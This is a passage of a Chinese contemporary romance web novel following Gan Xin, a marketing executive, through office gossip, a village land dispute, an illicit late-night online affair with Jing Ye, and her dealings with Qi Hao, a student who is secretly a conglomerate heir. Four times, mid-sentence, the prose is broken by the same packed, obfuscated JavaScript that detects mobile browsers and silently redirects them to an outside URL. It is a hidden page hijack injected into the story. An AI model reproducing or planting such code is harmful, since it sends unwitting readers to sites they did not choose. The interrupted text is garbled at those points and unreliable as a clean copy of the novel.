“好啊,你等我下,我把这个邮件回完了就出来找你。”甘歆面色不改地说着瞎话,低下头再去看手机的时候发现,发送键已经点过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627028|172421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 算了,又是拼豆二维码又是改头像的,不就是为了让人加回来吗?加就加吧。 中午等电梯的人不少,甘歆和张然也在一起排着队,一路上都有人在问歆总好,还有别的部门的总监要请她们吃饭,甘歆巧妙地拒绝了,她在公司很注意,市场部是个很特殊的职能部门,他们的行为倾向会让员工在整个业务线上进行价值推测,尤其是晟宇集团的高端住宅,是公司的核心项目,几乎是公司的风向标。 不过和其他部门的人维持塑料关系,也不全然是好处。 她和张然选定了一家日式定食吃午餐,每个座位都是小小的卡座,座位和座位之间都隔着高高的木板,除了出入口这一面,三面都见不着人,但这并不妨碍声音会穿透过来。 “听说高端市场部季度奖金最多,而且不止高点点。” “沈老板对甘歆偏心得很明显啊。” “你不知道了吧,沈总还没接手集团的时候,歆总就在他手底下干活了,他们俩是老搭档。” “嘶……他们都没结婚吧?” “啊?歆总没结婚?她都多大了?” “多大了沈老板不还是当金丝雀养着?” “嘘!别说了别说了,心里知道就好了,小心隔墙有耳。” 张然一筷子扎进了烤青花鱼,又用力扯开,活活来了个开膛破肚,给甘歆笑得几乎要额头碰到桌子上了。 “你怎么还笑得出来的啊,他们说这么过分的话!” 甘歆拿了水壶给张然添茶,“小然总怎么这么沉不住气。” “太难听了好吧,造黄谣啊这属于!” “嘴长在别人身上,管不住的,”甘歆喝了口水不以为然,看着气呼呼的张然还觉得好笑,伸手捏了一下张然的脸,“哎呦,别生气了,不然你老公该来怪我了。” “他敢!” 甘歆又给她夹了一筷子餐盘里的烤鳗鱼,“好了,说说没什么的,我们奖金拿到了啊,这是最重要的。” “哪天传到沈总耳朵里,我看他们怎么收场!” “沈确那个老油子才不管呢,他眼里只有钱。” 张然惊讶了一下,眼睛弯了弯又笑起来,“那你们确实挺般配的。” “他???”甘歆吓得头直接往后仰了仰,“你可能不知道他早年是怎么训我的。” 一顿午餐吃完,甘歆再次回到办公室,就发现桌子上多了个包装精美的盒子,没留言也没落款,她走出办公室想找个人问问是谁送来的,却发现大家都整齐划一地趴在桌子上睡觉。 看来最近工作强度是有点儿大了,甘歆没打扰,回到了办公室里。 放到她桌上,那应该是她的吧,这么想着就这么拆了开来,竟然是一个水晶球,只不过别人的水晶球都是飘雪,这颗里头是飘着小小的金色纸片,底部是一只慵懒趴着的金钱豹,再一转,才看到贴在了底座上的N次贴。 “歆总大王,小的们会永远追随您的!” 这群兔崽子,总算是知恩图报了。 手机急急地响了两条消息,她把水晶球放在了电脑屏幕旁边显眼的位置,才打开手机看消息。 沈确:五分钟后过来。 景页:[图片] 他的龟背竹又活了。 8. 第8章 总经理办公室在楼上,大多数人都选择坐电梯,甘歆知道,他们想多磨蹭一会儿,能多个晚到的借口也好,毕竟沈确对下实在是严格。 但她偏爱楼梯,两阶梯一拐弯的事,几分钟就到了,即使她穿细高跟的时候,都没坐过电梯去楼上,何况今天踩了双板鞋。 刚到总经理办公室门口,沈确的助理Rita就站了起来,堆起了不咸不淡的笑,“歆总来了,总经理在里面等你,喝什么?一会儿我送进来。” 甘歆笑着点了点头,又道了谢,“红茶就好,麻烦了。” 刚踏进沈确的办公室,甘歆就觉得气氛不大对劲,按照以往沈确的性格,总是要先开涮她两句,今天却背着她一言不发,她也没有打扰,规规矩矩地站在离他办公桌的一步之外。 就算再熟悉,对方也是老板,尤其是这种低气压的时候,做一个规规矩矩的员工,比做一个假装很熟的朋友来得更好。 从她的视角看过去,只能看到沈确锋利的下颚线,以及精修过的鬓角,还有乌金丝边的镜腿,任何一个出现在沈确身上的元素,都在明目张胆地提醒着他是一个成功人士的事实。 “来了?”沈确的声音从椅背后面传了过来。 “来了,沈总。” 干等了几秒后,沈确才转过来,看向甘歆的眼神有些惊讶,话语才稍显柔和了些,“怎么不坐。” 甘歆也没傲娇,顺坡下驴坐了下来。 Rita送来了红茶,另外给沈确也带了杯咖啡,一进一出之间两人都没说话,肉眼可见地低气压,但甘歆依旧从容,也没沉不住气,一直在等沈确发话。 “F大的论坛准备得怎么样了?” 沈确开口就是业务的事,没半点寒暄,甘歆倒是松了一口气,“昨天和团委的小男生过了一下流程,内容差不多了,表现形式不太专业,对方挺愿意学的,我在教他,时间周期也在可控期内。” “你亲自带他?”沈确有些惊讶。 “嗯,学弟挺好学的。” “也是,算是校友,”沈确眉头拧了拧,叹了口气出来,才开始说了正题,“北泽那块地,拿起来有些麻烦,主要是当地村民的反对声比较严重。” “北泽?规划保障住房的那块地吗?” “嗯,现在当地政府也很为难,希望我们开发商牵头解决一下当地居民的矛盾,”沈确又习惯性将眼镜脱了下来,拧上了眉心,“本来今天下午是村委来拜访的,说临时有事不来了。” “这个计划里已经涵盖了对当地村民的补偿,他们是嫌不够?” “补偿哪有嫌够的,而且他们以为我们是打算在那里开发高端度假村,村委都动摇了,以为我们骗他。” 甘歆脑子里已经有了个初步猜测,但她没问,她想听听沈确的意思,说的话也模糊,“需要再安排项目经理过去一次吗,去当地谈谈。” 沈确没说话,眼睛落到了甘歆身上,与其说面色不好看,不如说有些纠结。 甘歆倒是坦然,假模假样喝了口茶之后笑了出来,今天戴的流苏耳坠也跟着晃了晃,“怎么了啊,我还没傲娇到老板让我出差不肯去的地步吧?” “挺偏的,民风也剽悍。”沈确叹了一口气。 “又不是没去过,一开始谈合作的时候不也去过么,那个村支书我也认识的,应该能说上话。” “这次我可去不了,”沈确皱了皱眉,“董事长那边有别的事。” 甘歆彻底松弛了下来,语气也诚恳,“我明白,沈总如果有更合适的选择,肯定不会让我去的。” 沈确听了这话,明显愣了愣,随即笑开了,刚刚堆积在脸上的乌云也散了,“那你还不抓紧培养几个出来,到时候你真傲娇起来了,我也拿你没办法啊。” “你可以拿奖金吊着我呀。” “哎哎,别以为我不知道,上次季度奖之后,公司可没少人说闲话。” 甘歆假装一脸愁容,连连叹气,“原来沈总都知道啊,那下个季度再加上点精神损失费行吗?” “要不我直接把公司给你得了?” “别别别,”开大的沈确最难对付,甘歆练练摆手,“我选择大树底下好乘凉。” 沈确没接话,沉默了一会儿,右手修长的中指无名指齐齐在桌子上的文件上敲了两下,“你觉得,F大在这件事上,能有点什么作用吗?” 本来打算靠一张嘴皮子去探探路的甘歆,被沈确这么一点,倒真有个想法,“保障房政策的宣贯,与其让我们说,不如让专业的人去说,他们不听我们的,总该听教授的。” “想得不错,带几个学生去,谅他们也不敢做什么出格的事来。”沈确笑了笑,“还得是你啊,歆总,三两句话就把我的顾虑打发了。” “沈老板教得好,师出名门罢了。”甘歆也跟着奉承他,连带着自己一起夸了。 沈确松了松领带,又呼了口气,刚刚严肃老板的模样已经褪去了,俨然一副风流贵公子的样子,“晚上有空吃个饭?” “心领了老板,昨天胃病犯了,啥都吃不了,回去喝粥。” “胃病又犯了?”沈确的身体往前倾了倾,“今天怎么不请假。” 甘歆支支吾吾地不肯说,沈确领会到了是自己给她安排的下午的会议,又有些关切地说道:“以后不舒服要直说,身体最重要,嗯?” “知道啦老板。”甘歆抿着笑点了点头。 “去北泽的事不着急,等你彻底好了,人员安排下来了再说,不行我自己去一趟就是了。” “没事儿,”甘歆赶紧插嘴,“昨天吃药及时,没疼多久,养几天就好了,等我安排好了跟您汇报,再联络那边。” “嗯,今天忙完了没?我送你回去吧。” “啊……”甘歆撒了个谎,虽然中午对着张然说不在意那些事,但自己却不愿意主动招人口舌,和老板独处的场景,她都尽量避免,“还有个会的,谢谢老板关心,会开完了我就撤。” 沈确沉默了两秒,又换上了他惯有的笑容,“好。” 从沈确办公室出来,甘歆故意冷着一张脸,谁跟她打招呼都没回应,整个人抄底气压,一副刚刚挨批了的样子,路过茶水间的时候,她明显看到有两个女的探头出来看了看她,又立刻缩了回去对着说小话。 明天公司里应该就会传自己要被沈确甩了吧?还是那种自己得寸进尺的戏码。 甘歆觉得挺好笑的,别人以为在台子上演主角的是她,却没想到她才是真正隔岸观火的人,不仅观火,还故意纵火,把水搅混,谁也摸不出规律来。 回到自己位置上,她先看了一眼邮箱,都是抄送她的,没有进一步需要她审核的东西了,脑子里才回顾起刚刚沈确和她说的那件事,她想了想,打开了齐灏的微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627029|172421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信。 “最近徐老师有时间吗,有件事想请教他的意见。” 这次齐灏回得很快,“我问问老师,有消息了答复学姐。” “麻烦了,谢谢。” “不客气。” 看了看时间,才三点多,但她确实有些坐不住了,拾掇拾掇直接拎包走人,停完了车买完了菜,还去洗了个头,到家也不过五点,简简单单做了一碗面,边刷着手机吃完了。 她把碗放进洗碗机里,整个人就卧在了沙发上,兴许是刚吃完,有些醉碳,甘歆犯了困,迷迷糊糊就睡了过去。 再醒来已经接近八点了,她习惯性地打开手机,上下刷了一下,又给爸妈简单说了两句日常,又看了一眼列表,最后拇指停在了景页的对话框这。 没有消息。 自从他发了那张绿色的龟背竹后,什么都没发来。 甘歆说不清这会心里的感觉,不是传统的那种期待,更像是空虚,像是这整间房里好像缺了个角,任由风肆虐进来,她不知道该怎么填。 已经下定决心不要和他再做那些事的。 她甩了甩脑袋,把手机扔在了沙发上,还是早点洗洗睡吧。 馨香的沐浴乳从瓶装中挤到了柔软的毛刷上,游移在自己的身体上,感受香气被泡沫蒸腾,热水的雾气再带着这些香气停留在玻璃上,像落在水晶上的蝶。 甘歆特意用了很长时间,身体乳抹过了身体的每一寸,护发精油染到了每一根发丝,最后还往自己的脖颈上喷了些香水,才从浴室里走出来。 刚刚在里面太久了,她都觉得有点闷,睡衣的领口特意少系了两颗。 路过全身镜的时候,甘歆回过了头,打量着镜子里的自己,皮肤白皙,因为热水澡的关系还泛了些红,栗红色的发丝蓬松闪耀,还有些大波浪的痕迹,藕色缎面的睡衣敞开,胸口的滑嫩一览无余,睡裤是短的,只遮到了腿根,腿又长又直,小腿的弧线很好看。 她又背对着镜子,嗯,臀形完美挺翘。 还好从来没给景页看过,这不便宜他了。 脑子里冒出这个想法来的时候,甘歆自己也吓了一跳,好好的去想他干什么。 直到卧在了柔软的穿上,她才再次打开手机,景页的头像旁边显示了数字11,她嘴角勾了勾,点开了。 先是两个正常的问好,再是一张天还没完全黑的时候一个人影的照片。 十五分钟后,景页问她是不是在忙,又发了一条提醒她劳逸结合。 半小时后后,景页发了个问号来,又撤回了两条消息。 四十分钟后,景页给她打了两个语音电话。 五分钟前,景页道歉,只发了三个字,“对不起”。 就在此刻,景页发了一个倒计时的表情过来,又配了一句话。 “是我打扰到你了吗,这个倒计时结束前你还不想回我的话,我会离开,让你感到困扰了,抱歉。” 甘歆“噗”地一声笑了出来,戏怎么这么多。 “刚刚在洗澡。”她发了五个字过去,又补了三个字,“久了点。” 景页那边“正在输入”个没完,就是等不到信息发过来,甘歆又不想理他了,锁了屏放到了床头柜上。 刚放下,提示音就想起来了。 她不耐烦地解了锁,打开了对话框。 “姐姐,玩我。” 9. 第9章 呼吸一下就乱了,包裹着甘歆的绵软床垫仿佛成为了沼泽,将她的身体和理智都慢慢吞噬,长期和景页的荒谬关系几乎是瞬间就让她起了反应,她在与自己最直白的欲望对抗。 过去他们的荒唐事像是焦糖玛奇朵,双方身心自愿,又甜得明显,可今晚却好像是裹着咖啡浓缩液的咖啡糖,甘歆有了更清明的意识,她察觉到了这颗糖里或许会有绵软的针。 景页今天太主动了,用的词都不同往日,他仿佛在这段关系里扮演一个被迫驱动的角色,像一个被抛弃了几日的小狗,挺着胸脯送到主人面前任她发落。 在甘歆陷落边缘之极,景页发来的一张照片彻底推了她一把。 他跪下了,上身赤.裸,下身是完好的灰色西裤。 甘歆带着清醒感受着自己的沉沦,疯吧,就疯吧,乱吧,就乱吧,让所有的干柴在今晚一把火烧完,把所有的燃油都往今天夜里倾倒。 已经超越了“玩”的界线,景页甚至打开了音频,与甘歆在同一频率上起伏。 她今晚丝毫不吝啬,将美好的歌都唱给了景页听。 可他只是喘息,一句实音都没有。 即使是这样,甘歆还是在不知不觉中睡着了。 次日醒来的时候天已大亮,转头看了一眼床头柜上的闹钟竟然已经到了十点,她迅速起床,又瘫坐了下来,戴上眼镜,才发现这一床的狼狈。 床单已经全部皱了起来,枕头掉下了地,被套上还有明显的水痕…… 她在地上找到了手机,瞬间解锁打开了景页的对话框。 他给自己发了四颗爱心。 甘歆的眉毛挑了挑,她明白这是什么意思,如猫似的伸了个懒腰,打了四个字过去,“有点过了。” 过了,但不多,口头警告一次。 直到甘歆去公司,景页都没有回复。 已经过了早高峰,到公司只用了平时三分之二的时间。 进办公室后,她发现桌上多了一个塑料袋,这才走过去,扯了一下外卖单,才发现里面是金枪鱼饭团,还有一瓶酸奶,接收人是自己没错,但她没点过。 这个早餐……好像有些熟悉,好像是那个大学生? 甘歆打开手机,果然收到了齐灏的留言。 “学姐早,这是我修改后的流程表,还请过目,谢谢指导,擅自给您点了早餐,希望您的胃也好。” 拿过那个塑料袋,才发现已经凉了,应该是早早送来的。 甘歆在线上给张然发了个信息,说自己昨晚没睡好,中午不出去吃饭了,买的早饭正好凑合,张然关心了她几句,又问要不要中午带点什么回来,甘歆说不用,她中午想歇会儿。 她带着饭团去茶水间热了一下,又给自己泡了杯热茶。 把办公室门锁了后,脱掉了高跟鞋蜷在椅子上啃饭团,吃了两口才想起来要给男大回信息,“感谢感谢,早餐没吃,帮大忙了,流程我稍后看一下,晚点给到答复。” 叮叮—— 景页回了消息,“抱歉,没忍住。” 甘歆盯着后面三个字看了很久,好像在字里行间里看到了一抹笑意,又觉得这三个字仿佛是特意说给自己听的,她抿了个唇,想了想打了一行字过去,“那个倒计时是多久的?” 其实她只要往上翻翻,就能知道答案,但她要他说出来。 很快,景页回了过来,“它永远不会结束。” 嘴角是不经意向上挑的,这个精神肉.体实在太会勾人了,甘歆都忍不住怀疑他是不是机长,不然怎么那么会推拉。 “但我会。”她残忍地回复,像毫不在意将细高跟踩在对方绵软情谊上的女王。 景页果然沉寂了一会,但回过来的文字不再冒险,小心又恭顺,“我会尽力延长,直到你真的不再需要我。” 或许是年上的阅历与从容,甘歆也不想让对方尴尬,她开起了玩笑,“不能再长了。” 景页没有回她的荤段子,而是真挚地表达着他的感受,“我愿意在你这里醉生梦死。” 他的话一直让甘歆觉得很受用,热烈但有分寸,荒唐里也能找到秩序来,就好像他们明明从来没有谈过情感,他的一些陈述,总让甘歆有着他“爱意盎然”的错觉。 只要他没有表达,甘歆就不需要有回应,拒绝人的话这两年实在说得很少,她已经生疏了,但并不代表她不会,更不代表她会因为一些纯粹的虚无而让自己陷落进一段感情里。 独身,是连着心一起独的。 办公室的门被敲了敲,张然走了进来,“歆总,胃还疼吗?” 甘歆笑笑摇了摇头,“不疼了,什么事?” “保障房的邮件Ritacc过来了,线上问了问我您出差的时间,”张然面色有些担忧,“怎么已经到运营部的事情又回来了,出什么事了吗?” “噢,上次沈总找我,让我代他去一趟北泽村,村委那边对开发保障房有些误会,聊一下而已,不是什么大事。” 张然犹豫了一下,还是说了出来,“Rita线上来问的口气不太好。” 甘歆眉毛挑了一下,笑笑没说话。 “那我……怎么回复她比较好?” 甘歆这种级别的可以无视总经理秘书的提问,但张然不行,她只是部门助理,晾着总助,肯定不行。 “你就说……”甘歆想了两秒,“我这两天就提交出差申请,晚点OA上能看到。” 张然瞪大了眼睛,没说话,但表情已经在问了“这么怂吗”了。 “人家是总助,又有董事长夫人推荐的关系,你敢刚啊?我可不敢。”甘歆说着说着都笑了起来,站起来亲密地拉过张然的手,带着她到办公室沙发那并排坐下。 “她关系这么深?”张然皱紧了眉,比起惊讶,更多的是担忧。 “你得罪过她啊?” “没有没有,我就是觉得她……挺两面三刀的。” 甘歆压低了声音和张然说:“沈确拿她也没办法,之前他好好的男助理,去年愣是调了到了业务部门去,换了Rita,你不要随便和她发生冲突。” “她是冲着沈确来的?”张然又一惊,“近水楼台?” “不知道,我也不关心,”甘歆放松似的靠在了沙发靠背上,玩儿着自己的指甲,“无所谓,她只要不给我找事,想干什么干什么。” “那你和沈确……” “你别瞎说啊,清清白白,一点一丝一滴暧昧都没有,”甘歆如临大敌,“外面怎么传我不管,也管不着,但我们自己人,得拿捏得了分寸,他是老板,我是员工。” “我知道,我就怕她拿你当假想敌,”张然叹了口气,“当领导不容易啊,公事操心,私事还要被人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627030|172421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嚼舌根。” “是啊是啊,你们赚的是辛苦钱,我赚的是窝囊费。” 两人对视一眼,都笑了出来,张然用力摸了摸甘歆的手背,“保障房那个事,有什么我能帮忙做的吗?” “你帮我……”甘歆突然想到了齐灏说的话,又收住了嘴,“没事,我自己来约,你去忙吧,有事我叫你。” 张然点了点头,出去了。 翻开和齐灏的聊天记录,她才发现上次的流程表格没给人看,正好,也是个理由,她给齐灏发了个“方便吗”过去,很快收到了回复,简洁的两个字,“方便”。 没有拖泥带水,甘歆直接打了个语音电话过去,那边接起来没有声音,又突然断了,甘歆拿着手机看了看,感觉齐灏好像没有他说得那么方便。 下一秒,齐灏的电话就打来了,不是语音,而是实打实的电话。 “学姐,刚刚信号不太好。” “哦,”甘歆笑了笑,“没事,上次徐老师的事,有回复了吗?” “嗯,学姐周四上午有空吗?老师那个时间在办公室的,也没有课。” “周四啊……”甘歆有些为难,她实在不想招惹上Rita,就显得有些犹豫、有些着急,“再早一点呢,有时间吗,我有个挺着急的事。” 电话那头沉默了几秒,才开口说话,“学姐现在方便吗?” “现在?”甘歆有些意外,还和他打趣,“你是打算带着我一起堵徐老师下课吗?” “也可以这么说,如果很着急的话。” 甘歆看了一眼表,她今天戴的是卡地亚的蓝气球,不带钻的那款,稍微内敛些,“可能会有点堵,需要点时间。” “您计划过来的话,我会帮您留下老师。” 齐灏的话斩钉截铁,甘歆不知道他为什么能够这么肯定,印象中学生对着教授都是仰之弥高的态度,怎么到了他这,他反而变成了可以操控的人。 “好,哪里见?” “和上次一样。” 甘歆挑了挑眉,这是真打算去堵老师下课了,她感激、也惊讶,更对这个看起来有些内敛的男孩子有了些另眼相看,果然人不可貌相。 紧赶慢赶,甘歆还是用了一个小时才到F大,她这次没有预约码,直接刷的校友码进的学校,赤红色的野马根本来不及找停车位,直接张扬地扔在了校门口的宽阔地界,两百罚款换一个“马上见面”的机会,划得来。 熟门熟路找到那间教师休息室,甘歆停顿了一下,没敲门,先往里头看了一眼。 徐教授坐在椅子上抓耳挠腮的,显然是被临时抓过来的,齐灏倒是淡定,一个人坐在整排沙发的中间,悠然自得地看着手机,泰然自处。 他抬头,正好撞上了甘歆的视线,甘歆习惯性地展了个笑,然后推门进来了。 “徐老师,抱歉抱歉,您别怪小齐,是我让他帮忙约您的,有点着急。” “……不怪他,歆总有什么指示吗?”徐教授的口气实在谈不上好,应该是被打乱了什么计划。 但此刻,从来安安静静的齐灏清了清嗓子,又不着痕迹地看了徐教授一眼。 他立马换了说辞,“不是,我是说,有什么事吗?” 同样的两句话,表达的主观情感千差万别。 这样的变化,让甘歆不禁好奇,这小男生,什么来头? 10. 第10章 和徐教授聊得太过顺利,到最后他都直接让甘歆叫他老徐了,就是出差这事上的确有难处,有个政府相关的调研会,徐教授实在不好推脱,两人都陷入了沉默之中,谁都不肯退让。 “我是真没办法呀,歆总,你得理解理解我。” 甘歆明白,但他不去,这事成功的概率就会降低不少,头虽然点着,但始终没松口。 “要不……”徐教授突然直起身来,却带着试探性的询问起了齐灏,“你让……” 齐灏直接打断了徐教授的话,“我去行吗?” 徐教授和甘歆都惊了一下。 “学术上肯定不及老师万分之一,简单直白的陈述应该可以。” 甘歆适时插了句话,“……倒也不是不行,村民没这么学术,太专业的,他们也听不懂。” 徐教授咽了一口唾沫,眉头微微皱了起来,语气都不如刚刚好说话,“北泽那片挺危险的。” 甘歆刚刚想插嘴说那边她去过,没想得那么难沟通,而且他们也知道孰轻孰重,思绪整理好正准备开口,却看到齐灏对着徐教授笑了。 她是第一次看见齐灏这么笑,坦荡、毫不遮掩,好像听了个笑话。 齐灏说:“没事。” 两个字落下来,虽然后续的细节都还没说,但甘歆知道,这事就这么定了。 中间齐灏出去接了个电话,甘歆这才注意到,这间教室休息室的氛围突然松快了下来,好像随着齐灏的离开,刚刚在这间屋子里的粘稠的压迫感都消散了一般。 她放松似的对着徐教授耸了耸肩,“不好意思,耽误您下班了。” 徐教授看甘歆的眼神有点复杂,又有些欲言又止,看了看门口的方向,好像在确认齐灏在没在门口打电话,才深深松了一口气,连说话都生动了些。 “胆子是真大,齐灏你也敢差遣。” 话是责备话,却透出了一些“自己人”的关心。 终于找到机会问出这句话,“他是?” “寰科控股的大少爷,齐老爷子钦定的继承人。” 甘歆眼睛都瞪大了,惊讶得都说不出话,“……他在这里上学?还在团委任职?” 徐教授伸手隔空点了点甘歆,“那是人家的爱好,小姑娘做事还是毛躁,怎么都没打听打听。” “……我看您上次待他也没什么特殊的啊。”甘歆忍不住嘟囔了一句。 徐教授提起气来好像又要数落两句,但忍住了,转而叹了口气,有些恨铁不成钢地说:“人家又不傻,真要当太子爷,到我们这来读什么书,早就出国了,就是来体验这种真实的。” 甘歆有些慌了,寰科涉及的业务领域实在太多了,在业界寰科的一个投资举动,几乎能带动一场趋势,放一句话,全行业都要抖三抖,上下游都得掂量着来。晟宇和寰科比起来,不过是其中的一条小小事业线罢了。 “他怎么进的学校啊,捐楼了?”甘歆露出了些鄙夷来,作为国内数得上名头的985,F大的分数线不低,从外省考进来更是艰难。 刚刚还一脸紧张的徐教授被逗笑了,“捐楼?你也太小看齐家人了,正经考进来的,领先第二名20分。” ……这么神?!F大的分数线离满分也没差几十分,甩第二名二十分,的确是断层的优秀,拿张然的话说,就是第二名连尾气都没赶上。 她真为自己的鲁莽感到担忧,再看徐教授的眼神就有了些求救的意思。 “他说定的事,我也不敢劝,”徐教授几乎豁出去了,“别说我,院长来了,也不会说个不字。” “哎您上次不还轻飘飘地说要让他请院长来致辞的吗?” “他去请,”徐教授一脸理所当然,“没有请不来的。” 甘歆都气笑了,这都什么事儿啊。 两人蛐蛐完齐灏的身份,对视一眼,都是苦笑。 到底是一路摸爬滚打过来的人精,甘歆安慰他,“老徐,没事儿,他不是不知道我知道吗,咱就给他最真实的体验不就完了,我也就是去聊聊,缓和一下关系而已。” “那里危险,你懂不懂什么叫危险?”徐教授都激动起来了,“别说三长两短了,就算是个头疼脑热,我怎么跟院长交代。” 甘歆刚顺下去的气又提了起来,“那行,我就跟他说取消不用去了,我临时变个挂,你看行吗?” 徐教授冷笑了一下,“齐灏可不好糊弄。” 这也不行,那也不行,甘歆索性不和他说这事了,晚点等齐灏来了再说吧,有什么大不了的,都是一只眼睛两张嘴的,没什么好紧张的。 哎,眼睛鼻子都想错了,甘歆真想一头晕过去。 看齐灏迟迟不进来,甘歆和徐教授大眼瞪小眼,她也不客气,直接说:“不回去啊徐老师,不是赶时间吗?” “招呼打了吗就回去,你眼里装点事行不行,上点心。” 甘歆笑得都停不下来,比起第一次见面,她觉得老徐这次可爱真诚多了,整个人都生动了起来,她也不犯怵,直接揶揄他,“怪不得徐老师的课这么多人听,导师名额都抢不过来。” “你点我世故呗?” “没有没有,哈哈哈。” “世故有什么不好,搞一辈子研究写一辈子书,埋头苦干不讲一点人情,谁能听懂你说的话?” “老徐你说得对!”甘歆肯定道。 徐教授白了他一眼,摇了摇头,又叹了口气,仿佛就要栽在这儿了。 齐灏这通电话打了很久,回来的时候看到教室休息室两人都在,还愣了一下,小声说了句抱歉。 徐教授又简单和他交代了下北泽村课题报告的写法和大纲,说是交代,实际上却是在为齐灏做打算,说得不着痕迹,还得找着当教授的样子,甘歆越看越觉得徐教授不容易。 他离开的那一刻,回过头的样子,甘歆从他轻快的脚步里读到了两个字,“解脱”。 接下来却是自己受难的开始。 她开始仔细打量身边这个男生,碎碎散散的短发,有那么几根会落到眉毛上,浓眉俊眼,鼻梁高挺,虽然年纪小,脸型的锋芒已经初绽头角,唇不厚颜色却是偏红的,下巴上很干净,即使现在已经快到晚上,还没有一点青茬出来。 明明是一副宽和礼貌的样子,甘歆却觉得他很冷。 “那个……” “我就是个普通人,学姐。” 他的话比她的话更快,仿佛已经知道了徐教授和自己聊的内容,看过来的眼神也真诚,没有高傲、没有疏离,像他说的,是一个普通人的眼神。 “嗯。”甘歆想了想,“去北泽村,真不会不方便吗?” 齐灏皱了皱眉,“谁去北泽村都不方便吧,下飞机转高铁,再转个中巴?” 甘歆被齐灏的这句话熨帖到了,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15627031|172421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些感慨,果然豪门家的孩子早当家,才20岁就会照顾人的情绪了,她笑了笑,“是挺不方便的。” “上次的流程表……” “哦,抱歉,实话说我没来得及看,”甘歆尴尬地瘪了下嘴,露出些讨饶,“不过如果北泽村的事搞不定的话,这个活动也没有存在的必要性了。” “北泽村的事,您愿意和我详细说说吗?毕竟这周末就要出发,我想做点功课。” “好啊,我请你吃饭?”说惯了的话,又再一次因为知晓了对方身份的关系而感到忐忑。 “你的胃好了吗?”齐灏突然把“您”换掉了,说话也显得随意了起来。 “好了,上次谢谢你。”甘歆弯了弯眼睛,“早餐也是。” “嗯,”齐灏没有说不客气,而是直接将这份情承了下来,“你这两天吃的什么?” “自己下的汤面。”甘歆有些不解,这个男生的问题好像永远不会跟在她的话头后一样。 “那去买点菜吧,”齐灏坦然说,“餐厅里不适合聊事情。” 甘歆点了点头,:“行。” 也不光是忌讳太子爷,胃还没完全恢复,这会儿去外头吃,她自己也冒风险。 “去你那还是我那?” 甘歆抬头直接撞上了齐灏的眼神,面前这个人,无论哪个身份,都不合适,男大不合适、太子爷不合适,男大太子爷哪哪都不合适。 “还是学姐想临时包个做家常菜的小饭馆。” 齐灏的嘴角已经有了隐隐的笑意,“这个最简单。” 甘歆投降,“去我家吧。” 她无意打探他的生活,并且他也不是没来过。 一起走出三号楼的时候,才发现外面比室内要更暖和,这是南方春天特有的温差,落日余晖还有最后一层亮光,角度太过刁钻,将甘歆和齐灏并排走出学校大门的影子拉得很长。 野马算是价格并不太高的跑车,甘歆买的时候还是咬了咬牙的,愣是把以前的A3换掉了,可看了看旁边的齐灏,她有些犹豫,太高了。 “你要不……坐后面?腿伸得开吗?” 齐灏已经打开了副驾驶的门,蜷缩着腿坐下后,把座椅调到了最后面,将将舒展了些,见甘歆还不上车,还曲起了食指敲了敲车窗。 ……什么少爷习惯。 甘歆心里念叨了一句,却不敢太耽误,赶紧上了驾驶座。 “系安全带。” “好的学姐。” 她这才反应过来,在校门口前违停了这么久,竟然没被贴黄条,看来今天还是挺走运的。 启动后右拐,顺畅地混入车流,在第一个匝道口上高架,一路向西,追着夕阳走。 甘歆性子急,三十之后才磨出了一副看起来沉得住气的皮囊,可惜,一开车就暴露了,能超就超,推背感不少,脸上还是那副淡定样,手指却有些不耐烦地敲起了方向盘。 她的小焦虑和小忐忑,都被齐灏看在了眼里。 中途堵了一段,齐灏自然地从中控拿出了她的车钥匙,把玩着那个挂在上面的拼豆钥匙扣,是一个卡通小鲸鱼。 “很可爱,学姐自己做的吗?” 甘歆瞥了一眼,觉得这是个表达自己并不想和他“太熟”的好机会。 “男朋友送的。” 齐灏“哦”了一声,放了回去,眼睛却满足地眯了眯。 11. 第11章 